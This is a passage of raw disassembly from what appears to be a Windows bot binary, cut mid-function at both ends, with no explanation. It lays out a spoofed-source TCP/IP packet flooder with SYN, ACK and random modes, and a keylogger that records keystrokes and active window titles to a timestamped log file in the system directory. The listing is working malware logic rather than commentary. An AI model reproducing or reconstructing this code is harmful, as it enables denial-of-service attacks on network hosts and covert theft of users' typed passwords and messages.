dword_43C594 ; inet_addr mov esi, dword_42104C mov [ebp+var_18], eax mov [ebp+arg_0], edi call esi ; GetTickCount mov [ebp+var_8], eax jmp loc_40171E ; --------------------------------------------------------------------------- loc_401600: ; CODE XREF: sub_401444+2EBj push 41Ch mov byte_43AD68, 45h call dword_43C554 ; ntohs cmp [ebp+var_2C], edi mov word_43AD6A, ax mov word_43AD6C, bx mov word_43AD6E, di mov byte_43AD70, 80h mov byte_43AD71, bl mov word_43AD72, di jz short loc_40166F call sub_415372 mov ebx, eax shl ebx, 8 call sub_415372 add ebx, eax shl ebx, 8 call sub_415372 add ebx, eax shl ebx, 8 call sub_415372 add ebx, eax mov dword_43AD74, ebx xor ebx, ebx inc ebx jmp short loc_401687 ; --------------------------------------------------------------------------- loc_40166F: ; CODE XREF: sub_401444+1F9j push [ebp+var_1BC] call sub_40A08A pop ecx push eax call dword_43C594 ; inet_addr mov dword_43AD74, eax loc_401687: ; CODE XREF: sub_401444+229j mov eax, [ebp+var_18] mov dword_43AD78, eax call sub_415372 cdq mov ecx, 100h idiv ecx mov byte_43AD7C, dl call sub_415372 cdq mov ecx, 100h idiv ecx mov byte_43AD7D, dl call sub_415372 cdq mov ecx, 0F0h push 400h idiv ecx mov word_43AD7E, di mov word_43AD82, bx inc edx mov word_43AD80, dx call sub_415372 cdq mov ecx, 0FFh idiv ecx push edx push offset dword_43AD84 call sub_415390 add esp, 0Ch lea eax, [ebp+var_1C] push 10h push eax push edi push 41Ch push offset byte_43AD68 push [ebp+var_4] call dword_43C5B8 ; sendto cmp eax, 0FFFFFFFFh jz loc_4017BA inc [ebp+arg_0] loc_40171E: ; CODE XREF: sub_401444+1B7j call esi ; GetTickCount sub eax, [ebp+var_8] mov ecx, 3E8h xor edx, edx div ecx cmp eax, [ebp+var_30] jbe loc_401600 push [ebp+var_4] call dword_43C5EC ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_30] shr ecx, 14h push ecx push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+var_3BC] push offset unk_423150 push eax call sub_415316 add esp, 1Ch cmp [ebp+var_24], edi jnz short loc_40179D push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_412BD1 add esp, 14h loc_40179D: ; CODE XREF: sub_401444+337j lea eax, [ebp+var_3BC] push eax call sub_40B078 push [ebp+var_38] call sub_4150F0 pop ecx pop ecx push edi call dword_421048 ; ExitThread loc_4017BA: ; CODE XREF: sub_401444+2D1j push [ebp+var_4] call dword_43C5EC ; closesocket call dword_43C4E8 ; WSAGetLastError push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax push offset unk_4230E8 lea eax, [ebp+var_3BC] push 200h push eax call sub_41588A add esp, 18h cmp [ebp+var_24], edi jnz short loc_401812 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_412BD1 add esp, 14h loc_401812: ; CODE XREF: sub_401444+3ACj lea eax, [ebp+var_3BC] push eax call sub_40B078 push [ebp+var_38] call sub_4150F0 pop ecx pop ecx push edi call dword_421048 ; ExitThread sub_401444 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40182F proc near ; DATA XREF: sub_40CD3A+372Do var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_401B7C push eax lea eax, [ebp+var_414] push offset dword_423280 push eax call sub_415316 xor esi, esi add esp, 18h cmp [ebp+var_8], esi jnz short loc_4018AC push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_412BD1 add esp, 14h loc_4018AC: ; CODE XREF: sub_40182F+5Bj lea eax, [ebp+var_414] push eax call sub_40B078 push [ebp+var_10] call sub_4150F0 pop ecx pop ecx push esi call dword_421048 ; ExitThread pop edi pop esi sub_40182F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018CB proc near ; CODE XREF: sub_401B7C+3Cp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_43C4CC ; WSAStartup test eax, eax jz short loc_40190B xor eax, eax jmp loc_401B4F ; --------------------------------------------------------------------------- loc_40190B: ; CODE XREF: sub_4018CB+37j xor edi, edi inc edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_43C5F8 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_401B47 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_43C534 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_401B3D push 10h lea eax, [ebp+var_50] push ebx push eax call sub_415390 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_43C554 ; ntohs mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_43C554 ; ntohs push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_43C554 ; ntohs push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_43C554 ; ntohs mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx call dword_421054 ; QueryPerformanceFrequency lea eax, [ebp+var_8] push eax call dword_421050 ; QueryPerformanceCounter push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_4157C0 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_4019F6: ; CODE XREF: sub_4018CB+25Dj ; sub_4018CB+269j mov [ebp+var_24], bx call sub_415372 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_43C554 ; ntohs mov [ebp+var_34], ax call sub_415372 mov edi, eax shl edi, 10h call sub_415372 or edi, eax push edi call dword_43C554 ; ntohs movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_43C550 ; ntohl push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_43C554 ; ntohs mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_4153F0 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_4153F0 lea eax, [ebp+var_B4] push 34h push eax call sub_40A0E3 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_4153F0 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_4153F0 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_415390 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40A0E3 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_4153F0 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_43C5B8 ; sendto cmp eax, 0FFFFFFFFh jz short loc_401B53 add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax call dword_421050 ; QueryPerformanceCounter mov eax, [ebp+var_4] cmp eax, esi jg short loc_401B3A jl loc_4019F6 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jb loc_4019F6 loc_401B3A: ; CODE XREF: sub_4018CB+25Bj mov ebx, [ebp+arg_8] loc_401B3D: ; CODE XREF: sub_4018CB+78j ; sub_4018CB+2AFj push [ebp+var_C] call dword_43C5EC ; closesocket pop esi loc_401B47: ; CODE XREF: sub_4018CB+5Bj call dword_43C4B4 ; WSACleanup mov eax, ebx loc_401B4F: ; CODE XREF: sub_4018CB+3Bj pop edi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401B53: ; CODE XREF: sub_4018CB+247j call dword_43C4E8 ; WSAGetLastError push eax lea eax, [ebp+var_F4] push offset dword_4232BC push eax call sub_415316 lea eax, [ebp+var_F4] push eax call sub_40B078 add esp, 10h jmp short loc_401B3D sub_4018CB endp ; =============== S U B R O U T I N E ======================================= sub_401B7C proc near ; CODE XREF: sub_40182F+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_409F7A push [esp+10h+arg_4] mov esi, eax call sub_41587F push [esp+14h+arg_8] mov ebx, eax call sub_41587F mov edi, eax call sub_415372 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_4018CB add esp, 1Ch test eax, eax jnz short loc_401BC5 inc eax loc_401BC5: ; CODE XREF: sub_401B7C+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_401B7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401BD4 proc near ; DATA XREF: sub_40CD3A+2B63o var_440 = byte ptr -440h var_240 = dword ptr -240h var_23C = byte ptr -23Ch var_1BC = byte ptr -1BCh var_13C = byte ptr -13Ch var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_8C = byte ptr -8Ch var_80 = byte ptr -80h var_78 = byte ptr -78h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 440h mov eax, [ebp+arg_0] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_240] rep movsd xor esi, esi push 0Eh inc esi xor ebx, ebx mov [eax+19Ch], esi pop ecx xor eax, eax lea edi, [ebp+var_9F] mov [ebp+var_A0], bl rep stosd stosw stosb mov edi, dword_42104C call edi ; GetTickCount push eax call sub_415368 pop ecx push 0FFh push 3 push 2 call dword_43C5D4 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_401C9D call dword_43C4E8 ; WSAGetLastError push eax lea eax, [ebp+var_440] push offset dword_423450 push eax call sub_415316 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401C7D push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_412BD1 add esp, 14h loc_401C7D: ; CODE XREF: sub_401BD4+84j lea eax, [ebp+var_440] push eax call sub_40B078 push [ebp+var_BC] call sub_4150F0 pop ecx pop ecx push ebx call dword_421048 ; ExitThread loc_401C9D: ; CODE XREF: sub_401BD4+61j lea ecx, [ebp+var_34] push 4 push ecx push 2 push ebx push eax mov [ebp+var_34], esi call dword_43C534 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_401D1B call dword_43C4E8 ; WSAGetLastError push eax lea eax, [ebp+var_440] push offset dword_423400 push eax call sub_415316 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_401CFB push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_412BD1 add esp, 14h loc_401CFB: ; CODE XREF: sub_401BD4+102j lea eax, [ebp+var_440] push eax call sub_40B078 push [ebp+var_BC] call sub_4150F0 pop ecx pop ecx push ebx call dword_421048 ; ExitThread loc_401D1B: ; CODE XREF: sub_401BD4+DFj lea eax, [ebp+var_23C] push eax call dword_43C594 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_401D8B lea eax, [ebp+var_440] push offset dword_4233CC push eax call sub_415316 cmp [ebp+var_A8], ebx pop ecx pop ecx jnz short loc_401D6B push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_412BD1 add esp, 14h loc_401D6B: ; CODE XREF: sub_401BD4+172j lea eax, [ebp+var_440] push eax call sub_40B078 push [ebp+var_BC] call sub_4150F0 pop ecx pop ecx push ebx call dword_421048 ; ExitThread loc_401D8B: ; CODE XREF: sub_401BD4+157j push 10h lea eax, [ebp+var_44] push ebx push eax call sub_415390 add esp, 0Ch mov [ebp+var_44], 2 push ebx call dword_43C554 ; ntohs mov [ebp+var_42], ax lea eax, [ebp+var_23C] push eax call dword_43C594 ; inet_addr mov [ebp+var_40], eax mov [ebp+arg_0], ebx call edi ; GetTickCount mov [ebp+var_30], eax jmp loc_401FF3 ; --------------------------------------------------------------------------- loc_401DC8: ; CODE XREF: sub_401BD4+433j push 28h mov [ebp+var_2C], 45h call dword_43C554 ; ntohs cmp [ebp+var_B0], ebx mov [ebp+var_2A], ax mov [ebp+var_28], si mov [ebp+var_26], bx mov [ebp+var_24], 80h mov [ebp+var_23], 6 mov [ebp+var_22], bx jz short loc_401E21 call sub_415372 mov esi, eax shl esi, 8 call sub_415372 add esi, eax shl esi, 8 call sub_415372 add esi, eax shl esi, 8 call sub_415372 add esi, eax mov [ebp+var_20], esi xor esi, esi inc esi jmp short loc_401E37 ; --------------------------------------------------------------------------- loc_401E21: ; CODE XREF: sub_401BD4+21Ej push [ebp+var_240] call sub_40A08A pop ecx push eax call dword_43C594 ; inet_addr mov [ebp+var_20], eax loc_401E37: ; CODE XREF: sub_401BD4+24Bj mov eax, [ebp+var_40] cmp [ebp+var_B8], ebx mov [ebp+var_1C], eax jnz short loc_401E55 call sub_415372 cdq mov ecx, 401h idiv ecx push edx jmp short loc_401E5B ; --------------------------------------------------------------------------- loc_401E55: ; CODE XREF: sub_401BD4+26Fj push [ebp+var_B8] loc_401E5B: ; CODE XREF: sub_401BD4+27Fj call dword_43C554 ; ntohs mov [ebp+var_16], ax call sub_415372 cdq mov ecx, 401h idiv ecx push edx call dword_43C554 ; ntohs push 12345678h mov [ebp+var_18], ax call dword_43C550 ; ntohl mov [ebp+var_14], eax lea eax, [ebp+var_1BC] push offset aSyn ; "syn" push eax call sub_4158E0 pop ecx test eax, eax pop ecx jz short loc_401EAB mov [ebp+var_10], ebx mov [ebp+var_B], 2 jmp short loc_401F07 ; --------------------------------------------------------------------------- loc_401EAB: ; CODE XREF: sub_401BD4+2CCj lea eax, [ebp+var_1BC] push offset aAck ; "ack" push eax call sub_4158E0 pop ecx test eax, eax pop ecx jz short loc_401ECB mov [ebp+var_10], ebx mov [ebp+var_B], 10h jmp short loc_401F07 ; --------------------------------------------------------------------------- loc_401ECB: ; CODE XREF: sub_401BD4+2ECj lea eax, [ebp+var_1BC] push offset aRandom ; "random" push eax call sub_4158E0 pop ecx test eax, eax pop ecx jz short loc_401F07 call sub_415372 push 3 cdq pop ecx idiv ecx mov [ebp+var_10], edx call sub_415372 push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_B], dl loc_401F07: ; CODE XREF: sub_401BD4+2D5j ; sub_401BD4+2F5j ... push 200h mov [ebp+var_C], 50h call dword_43C554 ; ntohs mov [ebp+var_A], ax mov eax, [ebp+var_20] mov [ebp+var_64], eax mov eax, [ebp+var_1C] push 14h mov [ebp+var_6], bx mov [ebp+var_8], bx mov [ebp+var_60], eax mov [ebp+var_5C], bl mov [ebp+var_5B], 6 call dword_43C554 ; ntohs mov [ebp+var_5A], ax lea eax, [ebp+var_64] push 20h push eax lea eax, [ebp+var_A0] push eax call sub_4153F0 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_80] push eax call sub_4153F0 lea eax, [ebp+var_A0] push 34h push eax call sub_40A0E3 mov [ebp+var_8], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_4153F0 lea eax, [ebp+var_18] push 14h push eax lea eax, [ebp+var_8C] push eax call sub_4153F0 push 4 lea eax, [ebp+var_78] push ebx push eax call sub_415390 add esp, 44h lea eax, [ebp+var_A0] push 28h push eax call sub_40A0E3 mov [ebp+var_22], ax lea eax, [ebp+var_2C] push 14h push eax lea eax, [ebp+var_A0] push eax call sub_4153F0 add esp, 14h lea eax, [ebp+var_44] push 10h push eax push ebx lea eax, [ebp+var_A0] push 3Ch push eax push [ebp+var_4] call dword_43C5B8 ; sendto cmp eax, 0FFFFFFFFh jz loc_40209E inc [ebp+arg_0] loc_401FF3: ; CODE XREF: sub_401BD4+1EFj call edi ; GetTickCount sub eax, [ebp+var_30] mov ecx, 3E8h xor edx, edx div ecx cmp eax, [ebp+var_B4] jbe loc_401DC8 push [ebp+var_4] call dword_43C5EC ; closesocket mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_B4] shr ecx, 14h push ecx push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax lea eax, [ebp+var_1BC] push eax lea eax, [ebp+var_440] push offset dword_423358 push eax call sub_415316 add esp, 1Ch cmp [ebp+var_A8], ebx jnz short loc_40207E push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_412BD1 add esp, 14h loc_40207E: ; CODE XREF: sub_401BD4+485j lea eax, [ebp+var_440] push eax call sub_40B078 push [ebp+var_BC] call sub_4150F0 pop ecx pop ecx push ebx call dword_421048 ; ExitThread loc_40209E: ; CODE XREF: sub_401BD4+416j push [ebp+var_4] call dword_43C5EC ; closesocket call dword_43C4E8 ; WSAGetLastError push eax lea eax, [ebp+var_23C] push [ebp+arg_0] push eax push offset dword_4232F0 lea eax, [ebp+var_440] push 200h push eax call sub_41588A add esp, 18h cmp [ebp+var_A8], ebx jnz short loc_4020FC push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_412BD1 add esp, 14h loc_4020FC: ; CODE XREF: sub_401BD4+503j lea eax, [ebp+var_440] push eax call sub_40B078 push [ebp+var_BC] call sub_4150F0 pop ecx pop ecx push ebx call dword_421048 ; ExitThread sub_401BD4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40211C proc near ; CODE XREF: sub_4021FB+B4p ; sub_4021FB+247p var_314 = byte ptr -314h var_114 = byte ptr -114h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_C = byte ptr 14h arg_8C = dword ptr 94h arg_90 = dword ptr 98h push ebp mov ebp, esp loc_40211F: ; DATA XREF: seg001:off_42F47Co sub esp, 314h lea eax, [ebp+var_10] push esi push eax call dword_42105C ; GetLocalTime lea eax, [ebp+var_114] push 104h push eax call dword_421058 ; GetSystemDirectoryA lea eax, [ebp+var_114] push offset asc_423C48 ; "\\" push eax call sub_415A30 lea eax, [ebp+var_114] push offset dword_42C2C8 push eax call sub_415A30 lea eax, [ebp+var_114] push offset aAb ; "ab" push eax call sub_415A08 mov esi, eax add esp, 18h test esi, esi jnz short loc_402181 inc eax jmp short loc_4021F8 ; --------------------------------------------------------------------------- loc_402181: ; CODE XREF: sub_40211C+60j movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset aDDDDDDS ; "[%d-%d-%d %d:%d:%d] %s\r\n" push esi call sub_4159B6 push esi call sub_415960 add esp, 28h cmp [ebp+arg_90], 0 jnz short loc_4021F6 push [ebp+arg_0] lea eax, [ebp+var_314] push offset dword_423C04 push 200h push eax call sub_41588A push 0 lea eax, [ebp+var_314] push [ebp+arg_8C] push eax lea eax, [ebp+arg_C] push eax push [ebp+arg_4] call sub_412BD1 add esp, 24h loc_4021F6: ; CODE XREF: sub_40211C+A1j xor eax, eax loc_4021F8: ; CODE XREF: sub_40211C+63j pop esi leave retn sub_40211C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4021FB proc near ; DATA XREF: sub_40CD3A+1D95o var_8DC = dword ptr -8DCh var_8D8 = byte ptr -8D8h var_4DC = byte ptr -4DCh var_2DD = byte ptr -2DDh var_2DC = byte ptr -2DCh var_DC = byte ptr -0DCh var_D8 = dword ptr -0D8h var_48 = byte ptr -48h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8DCh mov eax, [ebp+arg_0] push ebx push esi push edi and [ebp+var_8DC], 0 push 25h and [ebp+var_4], 0 pop ecx mov esi, eax lea edi, [ebp+var_DC] rep movsd mov dword ptr [eax+90h], 1 mov ecx, 0FFh xor eax, eax lea edi, [ebp+var_8D8] rep stosd call dword_43C4DC ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_43C4F0 ; GetWindowTextA mov ebx, 200h loc_402256: ; CODE XREF: sub_4021FB+2BBj push 8 call dword_421060 ; Sleep call dword_43C4DC ; GetForegroundWindow cmp eax, [ebp+var_8] jz short loc_4022DE lea ecx, [ebp+var_48] push 3Ch push ecx push eax mov [ebp+var_8], eax call dword_43C4F0 ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax lea eax, [ebp+var_4DC] push offset aSChangedWindow ; "%s (Changed Windows: %s)" push eax call sub_415316 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_40211C mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_415390 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_415390 add esp, 0Ch loc_4022DE: ; CODE XREF: sub_4021FB+6Cj mov [ebp+arg_0], offset aB ; "b" loc_4022E5: ; CODE XREF: sub_4021FB+2B1j push 10h call dword_43C434 ; GetKeyState movsx esi, ax mov eax, [ebp+arg_0] mov edi, [eax-4] push edi call dword_43C520 ; GetAsyncKeyState test ah, ah jns short loc_40237C push 14h call dword_43C434 ; GetKeyState test ax, ax jz short loc_40232D cmp esi, 0FFFFFFFFh jle short loc_40232D cmp edi, 40h jle short loc_40232D cmp edi, 5Bh jge short loc_40232D mov [ebp+edi*4+var_8DC], 1 jmp loc_4024A1 ; --------------------------------------------------------------------------- loc_40232D: ; CODE XREF: sub_4021FB+111j ; sub_4021FB+116j ... push 14h call dword_43C434 ; GetKeyState test ax, ax jz short loc_402358 test esi, esi jge short loc_40236C cmp edi, 40h jle short loc_402358 cmp edi, 5Bh jge short loc_402358 mov [ebp+edi*4+var_8DC], 2 jmp loc_4024A1 ; --------------------------------------------------------------------------- loc_402358: ; CODE XREF: sub_4021FB+13Dj ; sub_4021FB+146j ... test esi, esi jge short loc_40236C mov [ebp+edi*4+var_8DC], 3 jmp loc_4024A1 ; --------------------------------------------------------------------------- loc_40236C: ; CODE XREF: sub_4021FB+141j ; sub_4021FB+15Fj mov [ebp+edi*4+var_8DC], 4 jmp loc_4024A1 ; --------------------------------------------------------------------------- loc_40237C: ; CODE XREF: sub_4021FB+104j lea eax, [ebp+edi*4+var_8DC] mov esi, [eax] test esi, esi jz loc_4024A1 and dword ptr [eax], 0 lea eax, [ebp+var_2DC] push eax call sub_415B10 cmp edi, 8 pop ecx jnz short loc_4023AF and [ebp+eax+var_2DD], 0 jmp loc_4024A1 ; --------------------------------------------------------------------------- loc_4023AF: ; CODE XREF: sub_4021FB+1A5j cmp eax, 1B9h jbe short loc_4023DB call dword_43C4DC ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_43C4F0 ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSBufferFullS ; "%s (Buffer full) (%s)" jmp short loc_40241C ; --------------------------------------------------------------------------- loc_4023DB: ; CODE XREF: sub_4021FB+1B9j cmp edi, 0Dh jnz loc_402473 lea eax, [ebp+var_2DC] push eax call sub_415B10 test eax, eax pop ecx jz loc_4024A1 call dword_43C4DC ; GetForegroundWindow lea ecx, [ebp+var_48] push 3Ch push ecx push eax call dword_43C4F0 ; GetWindowTextA lea eax, [ebp+var_48] push eax lea eax, [ebp+var_2DC] push eax push offset aSReturnS ; "%s (Return) (%s)" loc_40241C: ; CODE XREF: sub_4021FB+1DEj lea eax, [ebp+var_4DC] push eax call sub_415316 sub esp, 84h lea esi, [ebp+var_DC] lea eax, [ebp+var_4DC] push 25h pop ecx mov edi, esp push eax rep movsd call sub_40211C mov [ebp+var_4], eax push ebx lea eax, [ebp+var_2DC] push 0 push eax call sub_415390 add esp, 0A4h lea eax, [ebp+var_4DC] push ebx push 0 push eax call sub_415390 add esp, 0Ch jmp short loc_4024A1 ; --------------------------------------------------------------------------- loc_402473: ; CODE XREF: sub_4021FB+1E3j cmp esi, 1 jz short loc_40248C cmp esi, 3 jz short loc_40248C cmp esi, 2 jz short loc_402487 cmp esi, 4 jnz short loc_4024A1 loc_402487: ; CODE XREF: sub_4021FB+285j push [ebp+arg_0] jmp short loc_402493 ; --------------------------------------------------------------------------- loc_40248C: ; CODE XREF: sub_4021FB+27Bj ; sub_4021FB+280j mov eax, [ebp+arg_0] add eax, 7 push eax loc_402493: ; CODE XREF: sub_4021FB+28Fj lea eax, [ebp+var_2DC] push eax call sub_415A30 pop ecx pop ecx loc_4024A1: ; CODE XREF: sub_4021FB+12Dj ; sub_4021FB+158j ... add [ebp+arg_0], 14h cmp [ebp+arg_0], offset dword_423BCC jl loc_4022E5 cmp [ebp+var_4], 0 jz loc_402256 push [ebp+var_D8] call sub_4150F0 pop ecx push 0 call dword_421048 ; ExitThread sub_4021FB endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4024D0 proc near ; DATA XREF: sub_40CD3A+1BE7o var_102B4 = byte ptr -102B4h var_102AB = byte ptr -102ABh var_102A8 = dword ptr -102A8h var_102A0 = dword ptr -102A0h var_10293 = byte ptr -10293h var_1028C = byte ptr -1028Ch var_2B4 = byte ptr -2B4h var_B4 = dword ptr -0B4h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 102B4h call sub_415B90 mov edx, [ebp+arg_0] push esi push edi push 25h xor eax, eax pop ecx mov esi, edx lea edi, [ebp+var_B4] inc eax push 10h rep movsd mov [ebp+var_8], eax mov [edx+90h], eax xor esi, esi lea eax, [ebp+var_1C] push esi push eax call sub_415390 add esp, 